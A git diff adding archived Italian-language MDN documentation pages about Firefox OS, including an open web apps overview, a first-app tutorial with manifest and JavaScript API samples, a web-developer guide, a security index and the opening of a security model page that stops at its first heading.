+<p>Mozilla ha sviluppato da zero un sistema che permette agli utenti di acquistare un'app una sola volta e utilizzarla su tutti i suoi dispositivi HTML5. Molto presto Mozilla <a href="http://bits.blogs.nytimes.com/2012/09/07/a-firefox-smartphone-for-the-poor/">lancerà il primo telefono cellulare Firefox OS</a>, che tuttavia sarà solo uno dei tanti dispositivi su cui utilizzare le app. Quando acquisti un'app da <a href="https://marketplace.firefox.com/">Firefox Marketplace</a>, il sistema installa una ricevuta sul tuo dispositivo. La <a href="https://wiki.mozilla.org/Apps/WebApplicationReceipt">ricevuta</a> è un JSON Web Token contenente metadati con un collegamento alla chiave pubblica di Firefox Marketplace e all'URL del servizio di verifica. All'avvio dell'app, essa è in grado di verificare la ricevuta, tuttavia la ricevuta del dispositivo <em>non è legata</em> a Firefox Marketplace. Si tratta semplicemente di una prova di acquisto crittograficamente verificabile. Chiunque può vendere app web aperte se rispetta le specifiche della ricevuta. <strong>Quando acquisti un'app, essa è pensata per essere portabile su tutti i dispositivi che supportano il sistema per app web aperte.</strong></p>
+<p>Mozilla is building the infrastructure needed to run Open Web Apps on any HTML5 device. <a href="http://www.mozilla.org/en-US/firefox/mobile/features/">Firefox for Android</a> will let you install and run apps (you can try it today on the <a href="http://nightly.mozilla.org/">nightly</a> build). Installed app icons go to your home screen just like regular Android apps. You can also install and run Web apps on your Windows, Mac, or Linux desktop using Firefox (this currently works in the <a href="http://nightly.mozilla.org/">nightly</a> build). Currently some version of Firefox is required, but it is intended that the Open Web Apps system will eventually be supported by all major browsers as a set of standards. From day one Mozilla has included all major HTML5 compliant browsers in its proof of concepts; you can take a look at this hosted JavaScript <a href="https://persona.org/include.js">shim</a> for ideas on how to support the apps platform on a non-Firefox browser.</p>
+<p>In futuro il sistema di app web aperte supporterà <a href="http://docs.services.mozilla.com/aitc/">la sincronizzazione delle app installate</a> tra tutti i dispositivi. Poiché le ricevute sono portabili, esse possono essere sincronizzate direttamente dall'utente, se lo desidera. In caso non fosse ovvio, un'app web aperta gratuita può essere eseguita in qualsiasi browser, in quanto non è diversa da un sito web. Potrebbe tuttavia utilizzare nuove <a href="https://wiki.mozilla.org/WebAPI">API specifiche per cellulari</a> che non sono state implementate su tutte le piattaforme.</p>
+<p>The video below provides a useful overview of the advantages of open marketplaces and an open web approach to app discovery:</p>
+<p style="text-align: center;"><iframe frameborder="0" height="270" src="https://www.youtube.com/embed/QCH_ncCrZfE/?feature=player_detailpage" width="480"></iframe></p>
+<h3 id="API_WebPayment">API WebPayment</h3>
+<h4 id="Commercio_di_app">Commercio di app</h4>
+<p>Parte del successo delle piattaforme di app per cellulari come iOS e Android è la facilità con cui è possibile sperimentare nuovi modelli di business attraverso i pagamenti via cellulare. Questi modelli si stanno ancora evolvendo ma non c'è dubbio che al momento il commercio di app si svolga in maniera molto più naturale sui cellulari piuttosto che sui computer desktop. In particolare è molto più comodo addebitare un acquisto sulla bolletta del telefono quando lo si sta utilizzando come strumento per accedere alla rete. Grazie al lancio di Firefox OS l'ecosistema delle app supporterà l'acquisto e i pagamenti in-app attraverso l'<a href="https://wiki.mozilla.org/WebAPI/WebPayment" style="">API WebPayment</a>. Garantire l'efficienza nel gestire il commercio è un fattore cruciale nella crescita di una piattaforma di app. <strong>L'API per i pagamenti che proponiamo è assolutamente <em>facoltativa</em></strong>. Mozilla non impedirà ad alcuna app di utilizzare un proprio sistema di pagamenti in-app.</p>
+<h2 id="Vedi_anche">Vedi anche</h2>
+<ul>
+ <li><a href="https://blog.mozilla.org/webdev/2012/09/14/apps-the-web-is-the-platform/">Apps: The Web Is The Platform</a>, di Kumar McMillan (gran parte del contenuto dell'articolo è stato tratto da questo post sul suo blog)</li>
+ <li><a href="https://plus.google.com/113127438179392830442/posts/fR3iiuN4kEF">See the Web platform succeed for applications</a>, di Paul Irish</li>
+</ul>
diff --git a/files/it/archive/b2g_os/quickstart/intro_to_firefox_os/index.html b/files/it/archive/b2g_os/quickstart/intro_to_firefox_os/index.html
new file mode 100644
index 0000000000..88b6068425
--- /dev/null
+++ b/files/it/archive/b2g_os/quickstart/intro_to_firefox_os/index.html
@@ -0,0 +1,16 @@
+---
+title: Introduzione a Firefox OS
+slug: Archive/B2G_OS/Quickstart/Intro_to_Firefox_OS
+translation_of: Archive/B2G_OS/Quickstart/Intro_to_Firefox_OS
+---
+<div class="note">
+ <p><strong>Note</strong>: The Quickstart section has been updated with a <a href="/en-US/Apps/Quickstart">new, more focused Quickstart article</a>, which replaces all the previous Quickstart articles. We hope you'll find this more useful, and a quicker learning experience than the older set of articles.</p>
+</div>
+<div class="summary">
+ <p>Firefox OS è un nuovo sistema operativo mobile sviluppato da Mozilla all'interno del progetto Boot to Gecko (B2G). Firefox OS utilizza il Kernel Linux e un motore di runtime basato su Gecko, che consente agli utenti di eseguire applicazioni sviluppate interamente utilizzando <a href="/it/docs/Web/HTML">HTML</a>, <a href="/it/docs/CSS">CSS</a>, <a href="/it/docs/JavaScript">JavaScript</a> e anche le Open Web API.</p>
+</div>
+<p>Firefox OS (conosciuto anche con il nome in codice Boot to Gecko o B2G) è un sistema operativo mobile open source, basato sul Kernel Linux, il quale fa il boot all'interno di una runtime engine bassata su Gecko, questo da la possibilità agli utenti di far girare applicazioni sviluppate solo con <a href="/it/docs/HTML">HTML</a>, <a href="/it/docs/Web/Guide/CSS">CSS</a>, <a href="/it/docs/JavaScript">JavaScript</a> e le Open Web APIs. Firefox OS è un sistema operativo mobile libero dalle tecnologie proprietarie, in più offre una potente piattaforma di svillupo dando la possibilità di creare prodottti eccellenti. Inoltre, è un sistema flessibile, in grado di rende felice l'utilizzatore finale.</p>
+<p style="width: 480px; margin: 0 auto;"><iframe frameborder="0" height="270" src="https://www.youtube.com/embed/-9vktI70iHc/?feature=player_detailpage" width="480"></iframe></p>
+<p>Firefox OS utilizza di default l'interfaccia grafica <a href="/it/docs/Mozilla/Firefox_OS/Platform/Gaia">Gaia</a>, che gestisce le funzioni fondamentali del telefono, ad esempio impostazioni, chiamate, SMS, prendere e archiviare foto, ecc</p>
+<p>For Web developers, the most important part to understand is that the entire user interface is a Web app, one that is capable of displaying and launching other Web apps. Any modifications you make to the user interface and any applications you create to run on Firefox OS are Web pages, albeit with enhanced access to the mobile device's hardware and services.</p>
+<p>Firefox OS is currently under heavy development; we are constantly working on ways to make it easier for you to use and hack on Gaia and create apps. However, you need knowledge about systems in order to do things like build the entire Firefox OS stack, or flash a phone with a build of Firefox OS. To find such information, and lots more besides, head on over to our <a href="/en-US/docs/Mozilla/Firefox_OS">Firefox OS content zone</a>.</p>
diff --git a/files/it/archive/b2g_os/quickstart/la_tua_prima_app/index.html b/files/it/archive/b2g_os/quickstart/la_tua_prima_app/index.html
new file mode 100644
index 0000000000..b470246ed7
--- /dev/null
+++ b/files/it/archive/b2g_os/quickstart/la_tua_prima_app/index.html
@@ -0,0 +1,262 @@
+---
+title: La tua prima app
+slug: Archive/B2G_OS/Quickstart/La_tua_prima_app
+translation_of: Archive/B2G_OS/Quickstart/Your_first_app
+---
+<article class="brush: js">
+<div class="summary">
+<p>Le applicazioni web aperte offrono agli sviluppatori esattamente quello che hanno voluto per anni: un ambiente multi-piattaforma dedicata alle applicazioni installabili create con solo HTLM, CSS e JavaScript — Firefox OS è la prima piattaforma aperta dedicata alle apllicazioni web. Questa guida si propone di farvi ottenere rapidamente le basi e le istruzioni di complicazione in modo da poter creare la prossima grande app!</p>
+</div>
+
+<p>Se vuoi seguire questa guida, è possibile scaricare il nostro <a href="https://github.com/chrisdavidmills/mdn-app-template">modello di applicazione di avvio rapido</a>. Trova più info leggendo la nostra guida sul <a href="/en-US/docs/Project:MDN/Style_guide/Sample_app_coding_guidelines#Apps_template">modello dell'applicazioni</a>.</p>
+
+<h2 id="Struttura_di_un'applicazione">Struttura di un'applicazione</h2>
+
+<h3 id="Packaged_vs._Hosted_Apps">Packaged vs. Hosted Apps</h3>
+
+<p>Ci sono due tipi di applicazioni web aperte: <code>packaged</code> e <code>hosted</code>. Le applicazioni Packaged sono essenzialmente formate da un file <code>zip</code> contenente tutto il necessario: HTML, CSS, JavaScript, immagini, manifest, etc. Le applicazioni Hosted (ospitate) sono eseguite e gestite da un server su un determinato dominio, proprio come un normale sito web. Entrambi i tipi di app richiedono un manifest valido. Quando arriva il momento di inserire la vostra app nel Marketplace di Firefox si carica sia l'app sotto forma di file zip che a indiciare l'url del dominio dove si trovano i vari file dell'applicazione sul server.</p>
+
+<div style="width: 480px; margin: 0 auto;">
+<p>{{EmbedYouTube("Q7x-B13y33Q")}}</p>
+
+<div class="video-caption">
+<p>   Realizzato in collaborazione con Treehouse: <a class="button" href="http://teamtreehouse.com/?cid=1154">DACCI UN'OCCHIATA!</a></p>
+</div>
+</div>
+
+<p>Ai fini di questa guida, svilupperete la vostra applicazione Hosted in <code>localhost</code>. Un volta che l'applicazione è pronta di può decidere di caricarla nel Marketplace di Firefox come "Hosted App".</p>
+
+<h3 id="Manifest_di_una_App">Manifest di una App</h3>
+
+<p>Ogni applicazione Firefox richiede un file manifest.webapp alla radice dell'app. Il file <a href="/en-US/docs/Web/Apps/Manifest"><code>manifest.webapp</code></a> fornisce importanti informazioni sull'app come: la versione, nome, descrizione, posizione delle icone e immagini, strighe locali, domini di dove l'app si andrà a installare, e molto altro (Solo il nome e la descrizione sono richieste). Il semploce manifest incluso in un applicazione si presenta:<code> </code></p>
+
+<pre class="brush: js">{
+  "version": "0.1",
+  "name": "Open Web App",
+  "description": "La vostra nuova App Web",
+  "launch_path": "/app-template/index.html",
+  "icons": {
+    "16": "/app-template/app-icons/icon-16.png",
+    "48": "/app-template/app-icons/icon-48.png",
+    "128": "/app-template/app-icons/icon-128.png"
+  },
+  "developer": {
+    "name": "Il tuo nome",
+    "url": "http://sitodellapp.com"
+  },
+  "locales": {
+    "es": {
+      "description": "Su nueva aplicación impresionante Open Web",
+      "developer": {
+        "url": "http://yourawesomeapp.com"
+      }
+    },
+    "it": {
+      "description": "La vostra nuova fantastica Open Web App",
+      "developer": {
+        "url": "http://yourawesomeapp.com"
+      }
+    }
+  },
+  "default_locale": "it"
+}</pre>
+
+<div style="width: 480px; margin: 0 auto;">
+<p>{{EmbedYouTube("dgAUgHQOm8M#t")}}</p>
+
+<div class="video-caption">
+<p>Realizzato in collaborazione con Treehouse: <a class="button" href="http://teamtreehouse.com/?cid=1154">DACCI UN'OCCHIATA!</a></p>
+</div>
+</div>
+
+<p> </p>
+
+<p>Un Manifest di base dovrà essere sempre la prima cosa da creare per la vostra app. Per maggiori info leggere l'<a href="https://developer.mozilla.org/it/Apps/Manifest">App Manifest.</a></p>
+
+<h2 id="App_Layout_Design">App Layout &amp; Design</h2>
+
+<p>Il design responsive è diventato sempre più importante, se prendiamo in considerazione il fatto che le risoluzioni dello schermo dei vari device sono ormai diventate degli standard da seguire.<br>
+ Anche se l'obiettivo principale della vostra applicazione, è quella di distribuirla sulle piattaforme mobili come Firefox OS, potette comunque rendere compatibile l'applicazione con le altre piattaforme. Per fare si che la vostra applicazioni adatti in automatico il layout in base al dispositivo, come mostrato in questo esempio, dovete utilizzare il <a href="https://developer.mozilla.org/docs/CSS/Media_queries">CSS media queries</a>:</p>
+
+<pre class="brush: css">/* The following are examples of different CSS media queries */
+
+/* Basic desktop/screen width sniff */
+@media only screen and (min-width : 1224px) {
+  /* styles */
+}
+
+/* Traditional iPhone width */
+@media
+  only screen and (-webkit-min-device-pixel-ratio : 1.5),
+  only screen and (min-device-pixel-ratio : 1.5) {
+  /* styles */
+}
+
+/* Device settings at different orientations */
+@media screen and (orientation:portrait) {
+  /* styles */
+}
+@media screen and (orientation:landscape) {
+  /* styles */
+}</pre>
+
+<p>There are many JavaScript and CSS frameworks available to aid in responsive design and mobile app development (<a href="http://twitter.github.com/bootstrap">Bootstrap</a>, etc.); choose the framework(s) that best fit your app and development style.</p>
+
+<h2 id="Web_APIs">Web APIs</h2>
+
+<p>JavaScript APIs are being created and enhanced as quickly as devices are. Mozilla's <a href="https://wiki.mozilla.org/WebAPI">WebAPI</a> effort brings dozens of standard mobile features to JavaScript APIs. A list of device support and status is available on the <a href="https://wiki.mozilla.org/WebAPI">WebAPI</a> page. Of course JavaScript feature detection is still the best practice:</p>
+
+<pre class="brush: js">// If this device supports the vibrate API...
+if('vibrate' in navigator) {
+    // ... vibrate for a second
+    navigator.vibrate(1000);
+}</pre>
+
+<p>In the following example snippet we modify the display style of a <code>&lt;div&gt;</code> based on changes in the device's battery state:</p>
+
+<pre class="brush: java">// Create the battery indicator listeners
+(function() {
+  var battery = navigator.battery || navigator.mozBattery || navigator.webkitBattery,
+      indicator, indicatorPercentage;
+
+  if(battery) {
+    indicator = document.getElementById('indicator'),
+    indicatorPercentage = document.getElementById('indicator-percentage');
+
+    // Set listeners for changes
+    battery.addEventListener('chargingchange', updateBattery);
+    battery.addEventListener('levelchange', updateBattery);
+
+    // Update immediately
+    updateBattery();
+  }
+
+  function updateBattery() {
+    // Update percentage width and text
+    var level = (battery.level * 100) + '%';
+    indicatorPercentage.style.width = level;
+    indicatorPercentage.innerHTML = 'Battery: ' + level;
+    // Update charging status
+    indicator.className = battery.charging ? 'charging' : '';
+  }
+})();</pre>
+
+<p>In the code sample above, once you confirm that the <a href="https://developer.mozilla.org/en-US/docs/DOM/window.navigator.battery">Battery API</a> is supported, you can add event listeners for <code>chargingchange</code> and <code>levelchange</code> to update the element's display. Try adding the following to the quickstart template, and see if you can get it working.</p>
+
+<p>Check the <a href="https://wiki.mozilla.org/WebAPI">WebAPI</a> page frequently to keep up to date with device API statuses!</p>
+
+<h3 id="Install_API_functionality">Install API functionality</h3>
+
+<p>In our sample quickstart app template, we've implemented an install button that you can click when viewing the app as a standard Web page, to install that site on Firefox OS as an app. The button markup is nothing special:</p>
+
+<pre class="brush: html">&lt;button id="install-btn"&gt;Install app&lt;/button&gt;</pre>
+
+<p>This button's functionality is implemented using the Install API (see install.js):</p>
+
+<pre class="brush: js">var manifest_url = location.href + 'manifest.webapp';
+
+function install(ev) {
+  ev.preventDefault();
+  // define the manifest URL
+  // install the app
+  var installLocFind = navigator.mozApps.install(manifest_url);
+  installLocFind.onsuccess = function(data) {
+    // App is installed, do something
+  };
+  installLocFind.onerror = function() {
+    // App wasn't installed, info is in
+    // installapp.error.name
+    alert(installLocFind.error.name);
+  };
+};
+
+// get a reference to the button and call install() on click if the app isn't already installed. If it is, hide the button.
+var button = document.getElementById('install-btn');
+
+var installCheck = navigator.mozApps.checkInstalled(manifest_url);
+
+installCheck.onsuccess = function() {
+  if(installCheck.result) {
+    button.style.display = "none";
+  } else {
+    button.addEventListener('click', install, false);
+  };
+};
+</pre>
+
+<p>Let's run through briefly what is going on:</p>
+
+<ol>
+ <li>We get a reference to the install button and store it in the variable <code>button</code>.</li>
+ <li>We use <code>navigator.mozApps.checkInstalled</code> to check whether the app defined by the manifest at <code>http://people.mozilla.com/~cmills/location-finder/manifest.webapp</code> is already installed on the device. This test is stored in the variable <code>installCheck</code>.</li>
+ <li>When the test is successfully carried out, its success event is fired, therefore <code>installCheck.onsuccess = function() { ... }</code> is run.</li>
+ <li>We then test for the existance of <code>installCheck.result</code> using an <code>if</code> statement. If it does exist, meaning that the app is installed, we hide the button. An install button isn't needed if it is already installed.</li>
+ <li>If the app isn't installed, we add a click event listener to the button, so the <code>install()</code> function is run when the button is clicked.</li>
+ <li>When the button is clicked and the <code>install()</code> function is run, we store the manifest file location in a variable called <code>manifest_url</code>, and then install the app using <code>navigator.mozApps.install(manifest_url)</code>, storing a reference to that installation in the <code>installLocFind</code> variable. You'll notice that this installation also fires success and error events, so you can run actions dependant on whether the install happened successfully or not.</li>
+</ol>
+
+<p>You may want to verify the <a href="/en-US/docs/Web/Apps/JavaScript_API">implementation state of the API</a> when first coming to Installable web apps.</p>
+
+<div class="note">
+<p>Note: Installable open web apps have a "single app per origin" security policy; basically, you can't host more than one installable app per origin. This makes testing a bit more tricky, but there are still ways around this, such as creating different sub-domains for apps, testing them using the Firefox OS Simulator, or testing the install functionality on Firefox Aurora/Nightly, which allow installable web apps to install on the desktop. See <a href="/en-US/docs/Web/Apps/FAQs/About_app_manifests">FAQs about apps manifests</a> for more information on origins.</p>
+</div>
+
+<h2 id="WebRT_APIs_(Permissions-based_APIs)">WebRT APIs (Permissions-based APIs)</h2>
+
+<p>There are a number of WebAPIs that are available but require permissions for that specific feature to be enabled. Apps may register permission requests within the <code>manifest.webapp</code> file like so:</p>
+
+<pre class="brush: js">// New key in the manifest: "permissions"
+// Request access to any number of APIs
+// Here we request permissions to the systemXHR API
+"permissions": {
+    "systemXHR": {}
+}</pre>
+
+<p>The three levels of permission are as follows:</p>
+
+<ul>
+ <li>Normal — APIs that don't need any kind of special access permissions.</li>
+ <li>Privileged — APIs available to developers to use in their applications, as long as they set access permissions in the app manifest files, and distribute them through a trusted source.</li>
+ <li>Certified — APIs that control critical functions on a device, such as the call dialer and messaging services. These are generally not available for third party developers to use.</li>
+</ul>
+
+<p>For more information on app permission levels, read <a href="https://developer.mozilla.org/en-US/docs/Web/Apps/Packaged_apps#Types_of_packaged_apps" title="/en-US/docs/Web/Apps/Packaged_apps#Types_of_packaged_apps">Types of packaged apps</a>. You can find out more information about what APIs require permissions, and what permissions are required, at <a href="/en-US/docs/Web/Apps/App_permissions">App permissions</a>.</p>
+
+<div class="note">
+<p>It's important to note that not all Web APIs have been implemented within the Firefox OS Simulator.</p>
+</div>
+
+<h2 id="Tools_Testing">Tools &amp; Testing</h2>
+
+<p>Testing is incredibly important when supporting mobile devices. There are many options for testing installable open web apps:</p>
+
+<h3 id="Firefox_OS_Simulator">Firefox OS Simulator</h3>
+
+<p>Installing and using the <a href="https://marketplace.firefox.com/developers/docs/firefox_os_simulator">Firefox OS Simulator</a> is the easiest way to get up and running with your app. After installed the simulator is accessible via the Tools -&gt; Web Developer -&gt; Firefox OS Simulator menu. The simulator launches with a JavaScript console so that you may debug your application from within the simulator!</p>
+
+<h3 id="App_Manager">App Manager</h3>
+
+<p>The new kid on the block with regards to testing tools is called the <a href="/en-US/docs/Mozilla/Firefox_OS/Using_the_App_Manager">App Manager</a>. This tool allows you to connect desktop Firefox to a compatible device via USB (or a Firefox OS simulator), push apps straight to the device, validate apps, and debug them as they run on the device.</p>
+
+<h3 id="Unit_Testing">Unit Testing</h3>
+
+<p>Unit tests are extremely valuable when testing on different devices and builds. jQuery's <a href="http://qunitjs.com">QUnit</a> is a popular client-side testing utility, but you can use any set of testing tools you'd like.</p>
+
+<h3 id="Installing_Firefox_OS_on_a_Device">Installing Firefox OS on a Device</h3>
+
+<p>Since Firefox OS is an open source platform, code and tools are available to build and install Firefox OS on your own device. Build and installation instructions, as well as notes on what devices it can be installed on, can be found on <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Firefox_OS/Platform">MDN</a>.</p>
+
+<p>Dedicated Firefox OS developer preview devices are also available: read our <a href="https://marketplace.firefox.com/developers/dev_phone">Developer preview phone page</a> for more information.</p>
+
+<h2 id="App_Submission_and_Distribution">App Submission and Distribution</h2>
+
+<p>Once your app is complete, you can host it yourself like a standard web site or app (read <a href="/en-US/docs/Web/Apps/Publishing/Self-publishing_Apps">Self-publishing apps</a> for more information), or it can be <a href="https://marketplace.firefox.com/developers/submit/app/manifest">submitted</a> to the <a href="https://marketplace.firefox.com">Firefox Marketplace</a>. Your app's manifest will be validated and you may choose which devices your app will support (i.e. Firefox OS, Desktop Firefox, Firefox Mobile, Firefox Tablet). Once validated you may add additional details about your app (screenshots, descriptions, price, etc.) and officially submit the app for listing within the Marketplace. Once approved your app is available to the world for purchase and installation.</p>
+
+<h3 id="More_Marketplace_Listing_Information">More Marketplace &amp; Listing Information</h3>
+
+<ol>
+ <li><a href="/en-US/docs/Web/Apps/Publishing/Submitting_an_app">Submitting an App to the Firefox OS Marketplace </a></li>
+ <li><a href="/en-US/docs/Web/Apps/Publishing/Marketplace_review_criteria">Marketplace Review Criteria </a></li>
+ <li><a href="http://s.vid.ly/embeded.html?link=8k2n4w&amp;autoplay=false">App Submission Video Walkthrough </a></li>
+</ol>
+</article>
diff --git a/files/it/archive/b2g_os/quickstart/per_sviluppatori_web/index.html b/files/it/archive/b2g_os/quickstart/per_sviluppatori_web/index.html
new file mode 100644
index 0000000000..521d78d1c5
--- /dev/null
+++ b/files/it/archive/b2g_os/quickstart/per_sviluppatori_web/index.html
@@ -0,0 +1,52 @@
+---
+title: Sviluppo delle App per Sviluppatori web
+slug: Archive/B2G_OS/Quickstart/per_sviluppatori_web
+translation_of: Archive/B2G_OS/Quickstart/For_Web_developers
+---
+<div class="summary">
+ <p>Se sei uno Sviluppatore web e hai un sito o una applicazione web che vuoi trasformare in una app installabile, ci sono <em>tecnicamente</em> poche cose da fare. Questo articolo spiega i requisiti minimi, insieme alle idee da conoscere sulle web app e quanto sono diverse dai siti web comuni.</p>
+</div>
+<p>I requisiti minimi sono pochi:</p>
+<ol>
+ <li>Creare un <a href="/en-US/docs/Web/Apps/Manifest">app manifest</a>.</li>
+ <li>Distribuire il file app manifest con l'estensione <code>.webapp</code>. Impostare l'header <code>Content-Type</code> in <code>application/x-web-app-manifest+json</code>.</li>
+ <li>Pubblicare l'app, sul proprio sito, nell' app store o su entrambi. Pubblicare in proprio richiede  <a href="/en-US/docs/Web/Apps/JavaScript_API">l'aggiunta di codice al tuo sito, per gestire l'installazione e l'aggiornamento dell'app</a> nel browser degli utilizzatori.</li>
+</ol>
+<h2 id="Funzionalità_facoltative">Funzionalità facoltative</h2>
+<p><em>Filosoficamente</em>, l'idea di una Open Web App installabile è molto di più che aggiungere semplicemente un file manifest al sito.  Le tecnologie degli Standard Web possono essere viste come piattaforme per applicazioni in piena regola che permettono ad un browser di rappresentare le interfacce utente, interpretare il codice e utilizzare i protocolli Web per comunicare con il server.</p>
+<p>Mozilla offre eseguibili "<a href="/en-US/docs/Web/Apps/Architecture#Web_runtime">Web runtime</a>" per varie piattaforme in modo che le applicazioni siano in grado di funzionare nella propria finestra senza il contorno di un browser.</p>
+<p>Per "appificare" un sito Web ci sono alcune aspetti specifici da considerare:</p>
+<ul>
+ <li>La mia app dovrebbe funzionare senza essere collegati al Web?</li>
+ <li>Come usa i dati la mia app? Come occorre memorizzarli?</li>
+ <li>Le performance della mia app possono trarre beneficio dalle funzionalità avanzate come i <a href="/en-US/docs/Web/Guide/Performance/Using_web_workers">Web Workers</a> oppure i <a href="/en-US/docs/WebSockets">WebSockets</a>?</li>
+ <li>E molte altre domande</li>
+</ul>
+<p>Se vuoi avvantaggiarti completamente delle capacità offerte alle app installabili, hai cose da fare in abbondanza, ad esempio:</p>
+<ul>
+ <li>Usa <a href="/en-US/docs/Web_Development/Responsive_Web_design">Web design responsive</a> per apparire meglio su tutte le periferiche.</li>
+ <li>Guadagna denaro con le app.</li>
+ <li>Fornisci un modo per <a href="/en-US/docs/Web/Apps/Identity_integration">identificare gli utenti</a></li>
+ <li><a href="/en-US/docs/Web/Apps/Offline_apps">Abilita il caching offline</a> affinché la app sia usabile quando il dispositivo è scollegato da Internet.</li>
+ <li>Memorizza dati in locale utilizzando <a href="/en-US/docs/IndexedDB">IndexedDB</a> o <a href="/en-US/docs/Web/Guide/DOM/Storage">localStorage</a>.</li>
+ <li><a href="/en-US/docs/Web/Apps/Platform-specific_details">Avvia l'app</a> nativamente (con una icona sul desktop del pc oppure nella schermata iniziale del dispositivo).</li>
+ <li>Usa le API del dispositivo per interagire con l'hardware, ad esempio <a href="/en-US/docs/WebAPI/Using_geolocation">geolocalizzazione</a> e <a href="/en-US/docs/Web/Guide/DOM/Events/Orientation_and_motion_data_explained">orientamento</a>.</li>
+ <li>Permetti agli utenti di inviarti feedback. Le ricerche di Mozilla sugli utenti sottolineano che loro vogliono dare feedback agli sviluppatori e vogliono che sia un umano a rispondere. Vogliono esprimere suggerimenti ed aiutare a risolvere i problemi. Possono smettere di usare una app se riscontrano problemi che nessuno dà loro una mano a risolvere.</li>
+</ul>
+<h2 id="Tecnologie_utili">Tecnologie utili</h2>
+<p>Ci sono alcune tecnologie web che potrebbero essere utili per scrivere app installabili. Nella lista seguente non c'è nulla ad uso esclusivo delle sole app ma dell'intero Web.</p>
+<ul>
+ <li><a href="/en-US/docs/Web/Guide/HTML/HTML5">HTML5</a></li>
+ <li><a href="/en-US/docs/Web/CSS">CSS</a></li>
+ <li><a href="/en-US/docs/JavaScript">JavaScript</a></li>
+ <li><a href="/en-US/docs/HTML/Canvas">Canvas</a></li>
+ <li><a href="/en-US/docs/AJAX">Ajax</a></li>
+ <li><a href="/en-US/docs/HTML/Using_the_application_cache">Risorse offline in Firefox</a></li>
+ <li><a href="/en-US/docs/Web/Guide/DOM/Storage">DOM Storage</a></li>
+ <li><a href="/en-US/docs/IndexedDB">IndexedDB</a></li>
+ <li><a href="/en-US/docs/DragDrop/Drag_and_Drop">Drag and drop</a></li>
+</ul>
+<h2 id="Leggi_anche">Leggi anche</h2>
+<ul>
+ <li><a class="external" href="http://smus.com/mobile-web-app-tech-stack">A mobile web application stack </a></li>
+</ul>
diff --git a/files/it/archive/b2g_os/security/index.html b/files/it/archive/b2g_os/security/index.html
new file mode 100644
index 0000000000..f4c05fab41
--- /dev/null
+++ b/files/it/archive/b2g_os/security/index.html
@@ -0,0 +1,63 @@
+---
+title: La sicurezza in Firefox OS
+slug: Archive/B2G_OS/Security
+tags:
+  - Firefox OS
+  - Mobile
+  - Security
+translation_of: Archive/B2G_OS/Security
+---
+<p>I seguenti articoli coprono gli argomenti inerenti la sicurezza in Firefox OS. Questi includono nozioni sulle opzioni di sicurezza generali, sulla sicurezza delle applicazioni e su come il processo di installazione venga mantenuto sicuro.</p>
+
+<table class="topicpage-table">
+ <tbody>
+  <tr>
+   <td>
+    <h2 class="Documentation" id="Documentation" name="Documentation">Documentazione sulla sicurezza di Firefox OS</h2>
+
+    <dl>
+     <dt><a href="/en-US/docs/Mozilla/Firefox_OS/Security/Security_model" title="/en-US/docs/Mozilla/Firefox_OS/Security/Security_model">Il modello della sicurezza di FIrefox OS</a></dt>
+     <dd>Una presentazione sul modello di sicurezza di Firefox OS.</dd>
+     <dt><a href="/en-US/docs/Mozilla/Firefox_OS/Security/System_security" title="/en-US/docs/Mozilla/Firefox_OS/Security/Security_model">System security</a></dt>
+     <dd>Dettagli sui controlli di sicurezza presenti in Firefox OS.</dd>
+     <dt><a href="/en-US/docs/Mozilla/Firefox_OS/Security/Application_security" title="/en-US/docs/Mozilla/Firefox_OS/Security/Application_security">Sicurezza delle applicazioni in Firefox OS</a></dt>
+     <dd>Una presentazione su come sono mantenute sicure le applicazioni su Firefox OS.</dd>
+     <dt><a href="/en-US/docs/Mozilla/Firefox_OS/Security/Installing_and_updating_applications" title="/en-US/docs/Mozilla/Firefox_OS/Security/Installing_and_updating_applications">Installare e aggiornare applicazioni in modo sicuro</a></dt>
+     <dd>Come Firefox OS riesce a installare e aggiornare le applicazioni in modo sicuro.</dd>
+     <dt><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Firefox_OS/Security/Debugging_and_security_testing" title="/en-US/docs/Mozilla/Firefox_OS/Security/Debugging_and_security_testing#Marionette.3A_A_JavaScript_debugging_shell_for_Firefox_OS"><span style="display: none;"> </span>Debug e test di sicurezza con Firefox OS</a></dt>
+     <dd> Questa guida mostra il procedimento per un semplice test di sicurezza, partendo dall'apertura da remoto del debugger JavaScript all'impostazione di un proxy che intercetti il traffico HTTP(S) generato da una versione Desktop di Firefox OS.</dd>
+    </dl>
+
+    <p><span class="alllinks"><a href="/en-US/docs/tag/B2G" title="/en-US/docs/tag/B2G">Vedi tutto...</a></span></p>
+   </td>
+   <td>
+    <h2 class="Community" id="Community" name="Community">Trovare aiuto nella community</h2>
+
+    <p>Se stai lavorando con Firefox OS o stai sviluppando un' applicazione che vorresti funzionasse su di un dispositivo Firefox OS, ci sono risorse della community per aiutarti!</p>
+
+    <ul>
+     <li>Consulta il forum del progetto Boot to Gecko: {{ DiscussionList("dev-b2g", "mozilla.dev.b2g") }}</li>
+    </ul>
+
+    <ul>
+     <li>Chiedi aiuto nel canale IRC di Mozilla Boot to Gecko : <a class="link-irc" href="irc://irc.mozilla.org/b2g" title="irc://irc.mozilla.org/b2g">#b2g</a></li>
+    </ul>
+
+    <p><span class="alllinks"><a href="http://www.catb.org/~esr/faqs/smart-questions.html">Non dimenticarti della netiquette...</a></span></p>
+
+
+    <h2 class="Related_Topics" id="Related_Topics" name="Related_Topics">Articoli correlati</h2>
+
+    <ul>
+     <li><a href="/en-US/docs/Mobile" title="en-US/docs/Mobile">Mobile</a></li>
+     <li><a href="/en-US/docs/Security" title="/en-US/docs/Security">Sicurezza</a></li>
+    </ul>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<p> </p>
+
+<div id="cke_pastebin" style="position: absolute; top: 483px; width: 1px; height: 1px; overflow: hidden; left: -1000px;"><br>
+Firefox OS</div>
diff --git a/files/it/archive/b2g_os/security/security_model/index.html b/files/it/archive/b2g_os/security/security_model/index.html
new file mode 100644
index 0000000000..8e94417927
--- /dev/null
+++ b/files/it/archive/b2g_os/security/security_model/index.html
@@ -0,0 +1,386 @@
+---
+title: La sicurezza di Firefox OS
+slug: Archive/B2G_OS/Security/Security_model
+translation_of: Archive/B2G_OS/Security/Security_model
+---
+<div class="summary">
+<p><span class="seoSummary">Questo documento fornisce una presentazione del security framework di Firefox OS, realizzato appositamente per proteggere i dispositivi mobili dalle minacce rivole alla piattaforma, alle app ed ai dati. Il modello della sicurezza implementato da Mozilla su Firefox OS è globale, integrato e stratificato su più livelli per fornire la migliore protezione contro i rischi della sicurezza specifici degli smartphone.  </span></p>
+</div>
+
+<h2 id="Platform_Security">Platform Security</h2>
+
